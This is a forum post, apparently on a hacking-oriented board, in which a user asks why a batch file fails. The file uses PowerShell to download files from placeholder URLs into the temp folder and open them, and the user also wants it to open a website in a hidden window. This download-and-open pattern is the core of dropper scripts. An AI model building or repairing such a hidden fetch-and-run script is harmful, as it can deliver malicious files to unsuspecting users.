Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Bat file that opens a website in the background

Hi, I need a batch file that opens a hidden window with a website and also downloads and opens a PDF. I have this:

Code
@echo off
set files='url1','url2'
powershell "(%files%)|foreach{$fileName='%TEMP%'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}"

But it doesn't do anything. It worked once and now it only opens the cmd, closes itself and nothing happens. I tried this on a different computer and the same thing happened - nothing. What might be the problem? Thank you


Possibly Related Threads...
Thread / Author Replies Views Last Post
by JJ007May 1, 2019 05:07 PM 2 308 May 1, 2019 05:07 PM
Last Post: hf8888
by ibo.1800Apr 8, 2019 12:40 PM 5 200 Apr 8, 2019 12:40 PM
Last Post: One
by Miso2017Mar 6, 2019 01:47 AM 1 240 Mar 6, 2019 01:47 AM
Last Post: Rrocet